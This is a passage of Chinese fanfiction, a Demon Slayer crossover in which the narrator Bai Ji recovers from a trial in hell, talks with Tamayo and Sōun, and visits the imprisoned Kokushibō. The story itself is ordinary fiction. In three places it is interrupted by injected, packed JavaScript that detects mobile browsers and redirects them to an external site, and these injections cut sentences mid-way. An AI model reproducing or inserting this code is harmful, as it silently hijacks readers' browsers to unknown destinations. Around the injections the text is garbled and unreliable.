“柳生家自成为藩主以来,献祭了无数无辜的女童,整个家族都建立在巫女的尸骨之上。你一句不可干涉,是想让那些女孩子自己爬出来伸冤?”我冷冷笑道,“说起来,我在地狱里这么久,可没见到柳生大人一家子呐。还是说,诸位大神因为需要人类的供奉,因此更乐于对人类造的孽睁一只眼闭一只眼?” “好一张能言善辩的嘴。” 那个声音突然变化成少女娇俏的嗓音。火焰向两侧分开,一位黑发的少女伸出一只手,嬉笑着抚摸我的脸。 “不跟你装啦,白姬,我们都是神灵,所以彼此坦诚一点吧。” “你真的以为,你能破坏因果之法,从地狱里带走罪人么?说到底你也只是个小小的水神而已,又已经失去了神体,你不会觉得,地狱这种地方是你想来就能来,想走就能走的吧?” 那只雪白的手化为枯骨,尖利的指甲戳着我的脖子,娇俏的声音也变得如同老妪般嘶哑。 “连掌管这罪孽之地的我都无法逃离的地方……你又凭什么破坏天神们定下的规则?” 她的脸半张像是最精致的艺术品,半张则是枯骨,蛆虫从空荡荡的眼眶中涌出,好像一行泪水。 “阁下也不过是个被憎恨和死之恐惧困住的可怜人罢了。”我轻声说,“虽然不知道是什么原因,但您杀不了我,我猜的对吗?” “呵呵…有意思…白姬,你真是个有意思的人…” 对方不怒反笑,身影在业火中逐渐隐去。 “你在地狱里徘徊了两百年,应该很清楚万事皆有代价的道理。你想带走那只鬼,就准备付出相应的代价吧。” 再次睁开眼睛时,我甚至产生了一瞬间的恍惚,不知自己是在荒川神社那飘着桐木和藤花香的内殿,还是身处地狱里。 脑袋疼到炸裂。听见谢花梅那高八度的破音后,就更炸裂了。 “哇啊啊阿姐你醒了!我还以为你死掉了啊~” 不要演的这么投入啊少女… “吵死了…”我捂住脑袋,“你再叫我就把你扔出去。” “染小姐醒了?真是太好了。不知道为什么,你妹妹怎么都不肯让妾身给你用药呢,妾身还很担心来着…看样子应该没有大碍了。” 珠世的声音也响起来,她递给我一只碗。 “把这个喝了吧,头痛会缓解一些。” “不需要你的东西,拿走!”小梅横眉立目的说。 “好了,小白,我信任珠世小姐。” 我晕头转向的坐了起来,接过了那只碗,里面是某种绿色的液体,散发着植物的味道。 呃,好苦。 “染小姐很厉害呢,仅仅一天就清醒过来了,当初妾身用了整整三天啊…”珠世感慨,“但看你昏迷时一直在哭,是梦到重要的人了吗?” 我摸了摸脸,果然一片湿冷。 该死的,希望没说出什么奇怪的话来。 “嗯,梦到了以前和小白在神社里的事。” 我含糊其辞的答道。 “别担心,大家已经认可了你人类的身份,毕竟无惨制造出的鬼是很难在’时轮‘的业火中存活的,更不会哭泣忏悔。” 哦,那是你没见过。我想。我就见过一只能随时随地哭给你看的鬼。 “珠世小姐也经历过试炼吗?我看你和他们早已熟识的样子,还需要试炼吗?” “鬼是罪孽深重的存在,在这一重地狱里只有两条路,要么经历‘试炼’后洗清杀业,从此一心忏悔自己的过错,要么就只有被消灭。妾身是鬼,自然也不能例外。”珠世垂下眼帘,“那个肮脏的男人将妾身变成鬼时,并没有告诉我鬼化后的一段时间内是会失去作为人类的意识的。妾身…因此而吃掉了自己的夫君和孩子。” “而妾身之所以选择变成鬼,是因为当时身患重病,却想要看着孩子长大成人啊…” 她将头扭到一边,眼中有泪光隐约闪现。 果然是这种人间惨剧吗…… “你也不用太过执着于此。”我淡淡的说,“真正爱着我们的人,是不会怨恨我们曾经犯下的过错的,他们一定在某个地方心怀祝福,等待着和我们重逢的那一天。” 珠世回头注视着我,片刻后露出一抹微笑。 “染小姐真是个不可思议的女孩子呢,身为人类却能在地狱里来去自如,原来是抱有这样的心境吗?” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252315|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻声叹息道:“但妾身却认为,犯下不可饶恕的罪过的人,必须受到惩罚。妾身自己也曾堕落过,在很长一段时间内陷入杀戮和吞食人肉中,那是会上瘾的,但凡是鬼,除非从未杀过人,没有以人肉为食过,否则这种瘾很难戒除。而数百年来,妾身都在改造自己的身体,才能控制这种对血肉上瘾的症状,也只成功的将一位少年转化为仅靠人血就能存活的鬼。” “珠世小姐真是个意志力坚强的人啊。”我笑了笑,“我却很难这么严格呢。倘若鬼这种存在生来就是以人为食,那么逼迫其戒除人类的血肉,就如同逼迫虎狼不吃肉一样,是压抑本性的做法,戒除过程中应该也有种种不适应吧。珠世小姐应该是怀着对亲人巨大的悔恨,才能做到这样的事吧。” 珠世的笑容透出些无奈:“虽然这样说有些不合适,但如果是染小姐的亲人变成了鬼,恐怕你也会陷入两难的境地。我曾经认识的人里,也有一位少年背着自己变成鬼的妹妹与恶鬼战斗,那种勇气与坚强令人佩服,但更常见的是被变成鬼的亲人吃掉,或是自己手刃亲人,没有选择的余地。” “我没见过鬼,的确是无法想象。”我叹了口气,“但倘若是我,大概会寻找第三条路吧。毕竟即使对方变成了鬼,也依然是你重要的人,在我看来和原先没有什么不同。” “第三条路?染小姐认为还有第三条路?”珠世略有些惊讶的问。 “仅仅打个比方而已,珠世小姐不要当真。”我捂住脑袋,“头还是好疼啊…” 珠世理解的点点头,“不用担心,这是正常的反应,休息一阵子就会好的。妾身毕竟是医生,有什么需要的话请不用客气,一定告知妾身。” “好,多谢你。”我真诚的说。 她一出门我就立刻瘫倒在榻榻米上。 真是个难缠的女人啊。 话说这试炼的副作用还真大,感觉脑子都被搅成了一团浆糊。 谢花梅静悄悄的凑过来,压低了声音恶狠狠的说:“你知道你当时眼睛里都流血了吗?下次再这么找死,我可就不管你了!” “那是在意念上建立屏障的副作用,我不想让他们看到我的记忆。”我疲惫的说,“那个叫千越的僧人很危险,你一定小心他。” “这下他们总该相信我们了吧?下一步我们要做什么?”小梅的语气竟然还有点兴奋,“不如我们把那个主公抓回去吧,我看他一副病歪歪的样子,应该很容易抓!” “他们未必相信我们,首先我的恢复比普通人类要快,其次他们应该是没得到什么有用的信息,不会善罢甘休的。” “啊?那我们还要在这里呆多久啊?”她失望的说,“我想哥哥了。” 我看了她一眼,有点绝望的闭上眼睛。 “求你了,别跟我说话了。” 39. 白姬(6) 接下来的几天我一直谎称头疼,边躲在屋子里休息,边悄悄使用灵力来感知所在区域内的状况。我身处的地方属于整片区域中的西侧,算是最偏僻的一块,而灵力波动较为集中的地方则是在那座阵屋的东南方,可能是他们日常居住和训练的区域。围绕整片区域存在大量防护性的符咒,几乎形成了铁桶似的包围效果,我不知道他们用的是哪一种符咒,但与掩盖珠世的屋子的那种力量异曲同工,算是一种空间系的法术。 搞清这一点后,我不禁有点受挫。以我的身份很显然没法四处走动,也不太可能获取太多情报。对于“门”而言,何时开启、如何开启都是未知数,就算存在知晓相关信息的人,应该也是那位主公大人或是名叫千越的僧人,但这两个人我显然都无法靠近。 “你这个人怎么这么讨厌?都说了叫你离我们远点!” 外面传来谢花梅怒气冲冲的尖脆嗓音,我从窗口向外看去,是那个叫早云的青年站在门外,手里还拿了一大把长得像桔梗一样的紫花。 小梅叉着腰,一脸厌恶的仰头瞪着那青年,毫不留情的说:“这种不值钱的垃圾你也好意思拿来?是要替那几个混蛋赔礼道歉吗?难看的要死,拿走拿走,我看到就想吐。” “小白小姐,话不能这么说。”早云正色道,“这是我…这是在下的一片心意。这花叫紫鹤,听珠世大人说最有安抚情绪的作用,是在下特意从外面带进来的。你们初来乍到这种地方,一定很害怕吧?多看看花会心情好一点。” “看起来的确像是展开翅膀的鹤呢。” 我斜倚在门口,冲他微微欠身,“多谢早云先生。” “阿姐,你怎么起来了?”小梅跑过来抱住我,“我好担心啊,你没事了吗?” 我心中默默边吐槽她演技真是长进了不少,边假装温柔的说:“让小白担心啦,我没事了哦。早云先生要不要进来坐坐?让送礼物的人站在屋外可不是我们的待客之道。” “啊呀,那多不好意思。”那青年有些难为情的笑道,“在下不是想来打扰染小姐休息,只是来看看你恢复的怎么样,毕竟试炼对灵体还是会造成一些伤害的。看你没事我就放心了,我…在下先回去了。” “你已经吵醒我了,不如陪我们聊聊天,作为补偿?”我微微一笑,“进来吧,别傻站着了。” “抱歉,没有茶,也没有茶具。” 我在矮桌旁坐下,话音未落,就看早云变戏法似的从怀里拿出一只布包。 “我知道,所以我带了啊。”他嘿嘿一笑。 “早云先生这是早就想好了要来坐坐嘛?”我故作惊讶,“那何必装的那么客气?” “我没有假装。”青年脸色竟然有点发红,“染小姐误会了。只是有点担心你们两个女孩子,但是又怕被讨厌…” “哈哈哈…早云先生真是太幽默啦。”我大笑起来,“小白,看在早云先生为我们带了宝贵的茶叶和茶具的份儿上,就勉为其难的帮我们泡茶吧。” 小梅瞪我一眼,感觉她已经在心里杀了我一百遍。 “我其实挺好奇的,但不知该问不该问。”我缓缓倒茶,“这里的建筑、用具看起来都和人世没什么不同,令人很难想象是在地狱里,如果不知道,我会以为是把江户哪位大名家的府邸整个搬来了呢。这应该是某种法术的效果吧?” “这是千越的‘空镜’之术,是将人世的物品投影到这里的法术,具体的我也不太懂。”早云挠挠头,“珠世大人可能懂的多一点,染小姐可以问问她。” “这么厉害吗?”我惊讶的说,“我以为你们都是普通的剑士出身,没有人懂法术之类的东西呢。” “不是啊,鬼杀队的人先前做什么的都有,宗正的父亲是落魄武士,家父则是木匠。”早云解释道,“千越从小长大的寺庙叫净光院,有修习时轮密法的传统,但一次被鬼侵入,屠杀了全寺的僧人,只有千越因为外出买粮回去晚了,被赶到的月柱大人救下。从那以后他就改姓为修罗院,誓要杀尽所有恶鬼。” “……你们每个人都有亲人被鬼杀掉吗?” “也有人只是为了混碗饭吃,但往往坚持不下来,毕竟要面对的是比人类强大的多的鬼,没有决心的话连呼吸法的修行都很难完成,别说是随时做好被杀的觉悟了。”早云笑笑,“染小姐生活的地方没有鬼吗?真好。” “唔,我的确没有见过鬼。”我说,“但我的神社后面种了一棵紫藤树。” “那大概是树的功劳,低级的鬼都害怕紫藤花,那对鬼来说是一种剧毒。虽然之前对上弦的鬼没太大作用,但珠世大人和一位柱对藤花毒进行了改造,听说成功的重创了上弦呢。”早云感慨的说,“也是因为有英勇的队士愿意牺牲自己来践行使命。比起我们的时代,后辈们也一样很努力啊。” “早云先生的话,到底是为什么不肯去转世呢?”我忍不住问道,“我看你不太像是执念深重之人,为什么要在这种地方一呆就是四百年?” 早云挠了挠头,“我也有执拗的时候啊,过去家父在的时候,曾说我固执起来连牛都拖不走呢。我们几个活着时就是好朋友,约定了同生共死,所以真就同生共死了,哈哈。“ 呃,这算个什么理由? “可以理解,”我点头,“有人能一起战斗到最后,也是一种羁绊。但容我问一句,从那个宗正的话来看,你们这里应该还有其他队士吧,而且数量并不少,他们每个人都是对鬼怀着血海深仇而不愿去往彼岸吗?就没有人愿意放下仇恨?这样放弃自己的来世,未免令人惋惜。” 早云的眼神有些深邃,“染小姐可知鬼舞辻无惨存活的一千多年间,制造过多少鬼,又有多少人葬身鬼的爪牙下?” “属实不知。”我摇头。 “我也不知道,或者可以说不计其数。在日柱大人为鬼杀队带来呼吸法之前,我们只能依靠日轮刀和太阳来抵御鬼,鬼只要不被砍头就能再生,一场仗下来死上一半人算是少的。这里面自然有人死的不甘不愿,无法释怀。”早云叹息,“在日柱大人传授我们呼吸法之后,开始有人的身上出现斑纹,像传染一样增加,带有斑纹者的战力也大大增长,鬼杀队终于能够克制恶鬼,可是……” 他像是陷入了什么遥远的回忆中:“慢慢开始有开启斑纹的人死去,我们才知道,有了斑纹是活不过25岁的。那种好不容易可以手刃仇敌、为世间带来太平,却只能无奈的等死的心情,染小姐能够体会吗?” 我沉默了一阵,说:“我无法体会,但我大概知道死去时有心愿未了的那种心情,想要守护的人没能守护好,确实是无法释怀。” “即便日柱大人重创了无惨,却没能杀死他,世间还是有鬼横行,我们却已经无能为力……”早云再次叹了口气,“但千越发现,数百年来,被斩杀后堕入地狱的鬼也不在少数,于是我们发誓,对堕入地狱的那些鬼也不能放过,毕竟这种存在无比狡诈,从变成鬼的那一刻,就连灵魂也变得和人类不同了。万一被他们发现存在任何重返人世的方式,后果将不堪设想。我们做不了别的,只能在此守住大门,顺便清除掉那些不知悔改的恶鬼,好在他们无法再使用血鬼术,比在人世时好对付了很多。” “原来如此,我倒真是从未听闻这样可歌可泣的故事。”我好奇的问,“听起来你们那位日柱大人非常厉害,竟然可以重创那个鬼王吗?这样的话,你们为何不合力继续追杀?当时就除掉他的话,岂不是免去后人很多不必要的损失?” 早云的眼中闪过一丝复杂的神色:“日柱大人后来…被赶出了鬼杀队。” 我愕然:“哦?这倒是奇怪了,这么强大的战力,为什么会被你们赶走?” “不堪回首的往事,不提也罢。”早云苦笑,“你只记得千万别在宗正面前提起日月两位柱,他是会杀人的。” 早云喝了一阵子茶,又闲扯了些有的没的,才依依不舍的离开。我估计是关在这地方几百年,实在找不到倾诉对象,大概把这孩子憋出毛病来了。我邀请他没事常来找我们玩,他也欣然应允。 送他离开后,我回到屋子里坐下,谢花梅又不知道从哪冒了出来。 “你是怎么回事?”她皱着眉看我,“跟鬼杀队的人也能聊这么久?当心那小子对你图谋不轨。” 我冲她笑:“早云是个不错的男人啊,你要不要考虑下?“ “你别恶心我了。”昔日的吉原花魁满脸不屑,“那种土包子以前连给我提鞋都不配。” “只是可惜了。”我淡淡的说,“所谓鬼杀队,不过也只是一群身心支离破碎的执着之人罢了。” “对了,先说说这里面有多少事是你知道的?那个斑纹是怎么回事?” “斑纹啊…”小梅的眼中闪过一线凌厉的杀意,“我还真知道,但那是从哥哥临死的记忆里看到的了。在那两个猎鬼人砍掉哥哥的头的时候,其中那野小子的额头上出现了火焰一样的东西,力量也一下子变强了。你是说这些人都有斑纹?” “是的。”我点头说,“至少目前这三个人都有,我观察过了,早云脸上的像是闪电,那个很凶的宗正,左颊靠近脖子的地方有风车或者螺旋的图案。而那位叫千越的僧人手腕上有奇怪的网状花纹,倒不知是什么。” “那应该是雷之呼吸和风之呼吸。”小梅看起来有点崩溃,“讨厌啊,我讨厌被雷劈!怎么老是躲不开雷之呼吸啊!我说怎么看到那个男人就讨厌!他再敢来我就砍死他!” “不要轻举妄动。”我说,“早云暂时对我们没有敌意,不要自己树敌。我现在担心的是,听起来他们的日柱和月柱的战斗力非常可怕,希望我们不会在这地方遇到那两位柱…” 话未说完,小梅就笑了出来:“那是不可能的啦!那个日柱,继国缘一几百年前就老死了,就是因为这样,无惨大人才能重出世间啊。至于月柱大人…我们可是熟悉的很呢!” “诶?你们认识的吗?”我惊讶道,“听起来他们的时代应该比你们早了几百年吧。” “笨蛋,月柱就是我们的上弦之一黑死牟大人啦!那可是比童磨大人还厉害的上弦!”小梅得意的笑起来,“这群蠢货猎鬼人,拦不住自己的柱变成鬼,还把继国缘一那种保命王牌赶走了,难怪会沦落到那么惨的地步。” 听她大概讲了一下,我才明白鬼杀队也不是铁板一块,也有各怀心思的猎鬼人,更有人主动选择变成鬼。虽然暂时不用担心会在这里遭遇他们的最强战力,但这几个人在地狱里斩杀恶鬼数百年,又都拥有斑纹,那个叫千越的僧侣更是会使用法术,绝不可小觑。 毕竟算上我,我们这边也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“诶呀呀,小染啊~人家好想你啊~”那边的鬼听起来无比哀怨,“真是非常、非常的担心你呐~没有小染在,突然变得好无聊啊~今天还在想,小染是不是交到了新的朋友,把人家给忘了呐?那样的话,人家可要忍不住过去找你了哟~” 呃,这鬼以前跟同僚们也是这么说话的吗?难怪没人愿意跟他聊天… “请等一下再抒发心情,童磨大人。”我说,“咱们长话短说,我要把目前掌握到的情报先汇报给你。“ 于是我将这批鬼杀队的来历、目前已知的能力到他们的个人经历事无巨细的讲了一遍。 “总的来说就是这样。鉴于他们的总人数目前我还没弄清,我建议你们先不要轻举妄动,如果有可能的话,我会想点办法先削减他们的战力,这样我们只需要集中精力对付那三个有斑纹的柱就可以了。” “我就知道这次遇到了有趣的事,原来竟然是黑死牟大人的老朋友吗?”连线那边的上弦之二似乎也难得认真了几分,“开启了斑纹的柱…听起来会是一场非常过瘾的战斗呢!” “不止是斑纹哦,”我提醒他,“那个僧人有种叫‘时轮’的法器,能够召唤业火,还能将人困在过去的记忆里。因为业火对我无效,所以一旦发生冲突,我会尽全力拖住他,你和妓夫太郎只要对付剩下那两个就可以了。只是现在门的事情还没有线索,但已经能确定是在这片区域了,我这些天会尽量再找找看。” “小染好像太过拼命了哦。” 鬼的声音突然轻飘飘的传来,是那种过于温和、乃至让人安心的音色,一瞬间,我感觉自己面对的不是残暴的上弦恶鬼,而是万世极乐教那位充满魅惑性的神明之子。 “是遇到了什么事吗?可以跟我说哦~” “诶?你…你为什么会这么觉得?” 这家伙不是完全不通人情吗?什么时候变得这么敏感了? “是作为上弦的直觉哦,”鬼继续柔和的说,“毕竟理论上可以读取思想嘛,虽然小染好像用什么办法隐藏了思想,但多少还是可以感觉到一点呐。小染既想做我的下弦,又对我隐藏思想,这好像有点不公平哦?” 我无奈了。这人的脑回路到底在关注什么啊? “那些事以后找机会再告诉你,现在我们……” “小染,我说过的吧,我不喜欢撒谎的孩子哦。” 奇怪了,这鬼到底在跟我较什么劲啊? 但他的声音依然是柔和的,“所以,这次回来以后,无论如何都要告诉我哦?” 我一时竟有些不知所措。 “……好。但也请童磨大人相信我,我绝对、绝对不会对你说谎,我现在不想说是因为有别的原因。我…我只是希望…” 我希望我所做的一切,都能弥补过去的遗憾。 即便在地狱中重逢的我们,都已经不再是过去的模样。 “我只是希望能尽全力帮到你。仅此而已。” “好啦好啦,人家没有责怪小染的意思啦~”鬼又笑嘻嘻的说,“但如果遇到危险的事,还是不要自己去冒险比较好哦,如果你受伤或者死掉的话,我也是会很困扰的。” 几乎能想象他那副天真无辜的表情,我忍不住微笑起来,“放心吧,为了童磨大人,我也会好好保护自己的。” 结束通话后,我走到门口,看了看周围没有异常,把还在认真放哨的谢花梅拉了进来。 “你怎么回事啊?脸那么红?”小梅盯着我一脸震惊。 尴尬,真尴尬。 我只能让自己尽量摆出一本正经的面孔。 “从明天开始,你晚上帮我在这里守着,我要出去看看。” 40. 白姬(7) 人类的视线永远只聚焦于自己所在的族群。他们不知道的是,善于在黑夜中游走的生物并不只有鬼,就像这些猎鬼人不知道,善于潜行在无间的种种恶劣环境里而不容易被察觉的,也不只有魔物。 我在黑暗中静默的割开那长着人脸和蜥蜴似的后半身的怪物的尸体。本来没想到会在边界地带遇到这东西,但这是这个夜里我碰到的第四只。它们显然是集群的生物,似乎还会使用某种含糊的语言交流,杀死一只,其他的闻到血味就会包围过来。但它们似乎无论如何都不会越过某一条界线进入这片区域内,我试了多次,发现它们所抗拒的似乎是那种称为“雪蕨”的藤蔓植物。沿着这支鬼杀队的大本营的边界种满了这种植物,我猜测是因为其特性近似紫藤花,也能起到隔绝邪物的作用。 尸体中的死灵在涌出前被我净化掉了,让我得以能完整的观察其内部。在怪物空荡荡的体腔里还残留着变异了的骨骼,以及一颗被死灵蛀空一半的心脏,那心脏看起来极其类似人类,让我再次确认这东西是人类的灵体被死灵寄生而形成的。 这里的人类…似乎只剩下一个来源。 我抬头看了看暗夜中像帷幕般绵延开的“雪蕨“,心中泛起一丝寒意。 果然,无论在哪个群体中,都存在一些见不得光的秘密。 等到剩下的尸体完全化成灰烬后,我继续向密林深处走去。这种感觉仿佛又回到了刚堕入地狱时那段独自流浪的日子,眼前铺展开无尽的黑暗,脚下是埋葬了无数怨灵的大地,陪伴我的只有右手的长刀和左手的银铃。 以及那名为白姬的少女的记忆。 那些记忆无比清晰鲜活,一幕幕像是从心的深处蜿蜒生长出的白花,在暗夜中发着星辰般的微光。 江户城樱花盛开的街头,遭人欺凌的小女孩抬起头,望见了神明。 小小的神明向她伸出手,对她露出她从未见过的温柔笑脸。 ——您没事吧?好可怜啊,还能站起来吗? 神社门前的铃铛被摇响,悠扬的颂歌声中,白衣的侍者抬着神辇携光而入,神辇上那黑衣的神之子面带微笑,在微渺众生面前睁开了一双犹如虹霓的眼睛。 烛火摇曳的神坛前,神子对她微笑: ——那不是您的错,所以不必自责哦。 春日的阳光中,黑衣的神子手持纸扇,在庭院里跳起优美的神乐舞,洁白无垢的发丝映着金色的光芒,如同冬天的最后一场雪。 ——帮助世上受尽苦难折磨的人,就是我的职责哦。我希望大家都能从我这里得到幸福,这是我存在于世上的意义。 那间染满血迹的茶室里,小小的神明微笑着擦去她脸上的眼泪。 ——您没有做错任何事,不要总是如此苛责自己。您真是一位勇敢的女孩子呢。 红色的鸟居前,神之子将那枚银铃放在她手中。 ——白姬小姐,我们后会有期。 开满蒲公英和雏菊的山坡上,他们一起看过日落月升,繁星点亮了夜空,世界的广阔和命运的幽深,第一次展现在两个一无所知的孩子面前,为这场短暂的邂逅奏响了百年不绝的余音。 我深知这只是属于我一个人的记忆,一个人的约定,乃至一个人的执念。但没有关系,这也是名为“白姬”的神灵的一部分,就像那个活在我灵魂里的女孩子一样独一无二。 正是这些记忆让我走到了现在,因为它们,哪怕在地狱里流浪百年,我手中的刀锋也从未暗淡。 远处的林子里透出了一片殷红如血的光,似乎有人影走动,我迅速将身形隐入树木的阴影中,悄悄向红光的方向靠近。 有个高大的身影摇摇晃晃的走来,脚步很重,踩的地上的树枝石块一通乱响。来者走近后,我发现竟是那个名叫宗正的灰发男人。他手里抓着一只陶瓶,边走边喝,显然是醉了。 我跟上了他,但走了没几步,他就回头厉声道:“谁?” 与话音同步的,是瞬间亮出的双刀,刀身呈漂亮的流线型,流转着青幽幽的寒光,上面那股浓重的杀气,一看就知道斩鬼无数。 他两眼血红的环视着四周,刀尖擦着我的头顶滑过,但最终什么也没能发现,酒精多少迟钝了他的感官。 在地狱里竟然还有酒喝,这条件真不错。我默默生出一丝嫉妒。 宗正收起刀继续向前走去,边走边嘟囔着什么话,我只能听到零星的“该死”,“杀了你”这类诅咒,不知是哪个胆子大的惹他发了火。 一直走到近前,我才发现那红光所在之处竟是一座石头造的巨大监牢,黑色的、如同狰狞龙骨般的牢笼上刻满血红色的符咒,上方和下方各覆盖着一个法阵,整个笼子内外都燃烧着熊熊业火。牢笼之中,依稀坐着一个人。 宗正完全无视那些符咒似的走过去,提起刀在石头的狱门上重重的砍了几下。 “严胜!你这个懦夫!叛徒!给我滚起来!” “你出来!跟我打一场!懦夫!你背信弃义!狗都不如的东西!” 牢笼中静悄悄的,那人似乎被烈焰所包围,身形笔直,纹丝不动。 “你他妈的…装什么清高?你跟你那个弟弟一样都是害人精!害死了我们大家,又害死主公!你这个卑鄙小人,也不看看你现在什么鬼样子…哈哈…” 宗正人在牢笼外,却像一头困兽一样绕着那笼子焦躁的踱步,边走边发出不知是哭是笑的怪声。 “哈哈…你那引以为傲的月之呼吸呢?还是一样败给了后辈吧?上天有眼,终于让你下了地狱,看看你这凄惨的样子!继国严胜!你听见没有?!你他妈就该死!我早晚要再砍死你一次!让你死的彻彻底底!你们这群鬼全都该死!” “你听见没有?!懦夫!小人!” 他不停的用刀狂敲那座牢笼,边敲边重复这几句谩骂的话。但牢笼中那个不知是人是鬼的存在,始终沉默不语。 我开始有点同情宗正,看来长年累月的杀戮,不仅鬼会疯,鬼杀队一样会疯。 过了好一会儿,宗正看上去终于把酒喝完了,骂也骂累了,才摇摇晃晃踉踉跄跄的顺着原路回去了。 我蹲在那些符咒跟前研究了一会儿,发现它们对我的反应不是很大,只有业火带来的轻微刺痛感。于是我小心的踏进了法阵,走到了那座笼子前。 一眼就看到足有四道黑色的粗长铁链,纵横交错在笼中,在升腾的业火中被烧的发红。铁链的尽头是镣铐,扣在一个人的手脚上。 那是个身着紫色蛇纹和服的男人,即便是跪坐的姿态,也能看出身形高大而挺拔,黑色长发束成高马尾,浓密的披散在身后,如同一袭沉沉的黑云。他在业火的烧灼中一动不动,如同一尊铁做的雕像。 是个即便沦为阶下囚,也依然散发出强大威压感的鬼。 “您是……黑死牟大人吗?“我试探着问。 没有回应。 “是上弦之一,黑死牟大人吗?” 我又契而不舍的问了一遍。 依然没有回应。 啧,上弦鬼这种生物看起来都不是太正常啊。 正当我认命的准备放弃交流时,牢笼中传来一个低沉而缓慢的声音: “你是…何人?” 我其实是个路过的水神…当然不能这么说,我又不是童磨那种神棍。 “我是童磨大人的朋友。” 我想了想,选了个自认为比较合适的说法,“也是他的下弦。” 牢笼中那武士般的鬼沉默了片刻,吐出两个字: “胡闹…” “上弦月和下弦月…是那位大人…定下的位阶。上弦之二…只能…推荐…但无权…任命下弦。” 他缓慢而严肃的说。 呃?是这样的吗?原来鬼里的规矩也这么多?可那只鬼好像从没提起过啊。 行吧,我怎么会以为他是个讲规矩的好鬼? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252317|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下在他同事面前穿帮喽。 “那您就当我是那家伙的朋友吧。”我无可奈何的说,“另外,听说那位无惨大人已经败给了鬼杀队,也被关进了地狱。您也是时候为自己考虑一下了。” “童磨的…朋友…?” 对方虽然背对着我,但却有种犀利的审视感。 “他…竟然…给你鬼血…?” 啊,被看出来了,不愧是上弦之一。 我实在弄不清在鬼之间给血到底是一种什么含义的操作。但童磨也给了妓夫太郎血啊。 “您可能误会了,他给我的是他自己的血,不是那位无惨大人的。”我解释道,“这应该不是什么大事吧?抱歉,我以前没遇到过鬼,不太懂你们的规矩。” 上弦之一再次沉默。 都是上弦,怎么性格差异如此之大?跟这位大人说话好像很费劲的样子? 过了好一会儿,他才缓缓开口: “赐血者…可谓再生父母…亦是鬼王之举…” “此等僭越之事…也只有他…不知轻重…胆大妄为…” 诶? “没有没有,您又误会了。”我赶紧替某只不靠谱的鬼申辩道,“他就是随便试了试,正巧碰上我体质比较特殊,也没把我变成鬼。您和那位无惨大人都是他敬重的前辈,我经常听他说起你们,说你们都是他的好朋友……总之他绝对没有冒犯你们的意思啊!” 天呐,简直太危险了!我发誓以后那只鬼干的事说的话,一定不能随便让旁人知道,毕竟他脑子脱线,不定什么时候就会触发意外事故! 正当我开始紧张时,却听到那严谨的武士鬼说: “罢了…我等皆为…他人手下败将…十二鬼月…皆成泡影。鬼之一族…已然…绝灭于世间…什么也…未能留下…” 他似乎在叹息,透着某种彻骨的悲凉。 我皱了皱眉。 “即便如此,您也不必深陷于执念,在这里受人侮辱啊。”我说,“鬼也是独一无二的存在,即使没有那位无惨大人,你们也有自己的灵魂,和自己存在于世间的意义。黑死牟大人,希望您不要就此自暴自弃。我只是个路人,言尽于此。” 说罢我决定撤退,算算时间,天也快亮了,我得在天亮前赶回住处。 正在我准备转身离开时,又听牢笼中的那位武士缓缓道: “童磨此人…心性凉薄…并无丝毫人情…且以吞食女子为乐…你…好自为之。” “我十分了解。多谢您,黑死牟大人。”我对他欠身行礼,随后再次隐入黑暗。 回到我和小梅暂居的小屋时,我特意绕着屋子走了一圈,发现灵力屏障没有被侵入的迹象,才放心的进了门。 谢花梅看样子也是守了一夜,见我回来才松了口气,紧接着就一脸厌恶的皱起眉。 “你身上是什么味道啊?又是那种怪物?” “是,边界那边有很多,我杀完没顾上收拾自己。”我做出一个净化水球,把自己从头到脚连人带衣服一通冲,边冲边说,“我开始想要个温泉了。” “所以你出去就是杀了一夜怪物?”谢花梅嗤笑,“这是免费帮鬼杀队干活啊。” 我弄干身上的水,感觉自己终于重新回到了清爽的状态。“还是有点小发现的。另外我碰到了你们那位上弦之一。” “你说什么?”谢花梅跳了起来,“黑死牟大人?他也在这里吗?” “被鬼杀队关着呢,那个风柱宗正好像跟他挺熟。” “我们要怎么做?要救他吗?”小梅颇为兴奋,“如果有黑死牟大人和童磨大人,我们一定能从这里逃出去。” “不要把希望寄托在别人身上,谢花梅。”我说,“强者也并非没有弱点,还是靠自己最踏实。况且我觉得那位上弦大人是自己愿意被关着的,我们还是不要打扰他的清净比较好。” 那位明显跟童磨不是一路人,我脑子进水了才会把他放出来。 41. 白姬(8) “有人来了。”谢花梅突然说。 外面天色已经亮了,我看见早云拎着个布包从小路上走来。 这人是每天闲的要命? “怎么又是他啊?”小梅疯了,“能让他别来吗?” 她话音未落,门就被敲响了。 “染小姐,小白小姐,我带了点心来喝茶哦。”这个四百多岁的年轻人站在门外兴高采烈的说。 是我搞错了昼夜,还是他们这里习惯一大早就吃点心喝茶? 我只好拉开门,早云有点惊讶的看着我湿漉漉的头发:“染小姐…你这是…?” “抱歉,我正在沐浴。”我笑的有点难看,“早云先生是准备进来看我洗,还是出去等一下再回来?” 他脸一红,乖乖的退了出去。 看他真的走远了,我把小梅叫了过来。 “一会儿我会邀请他切磋刀法,你在旁边看仔细了,把他的招式记下来。” 小梅瞪大了眼睛:“可你之前说不打算和他为敌啊。” 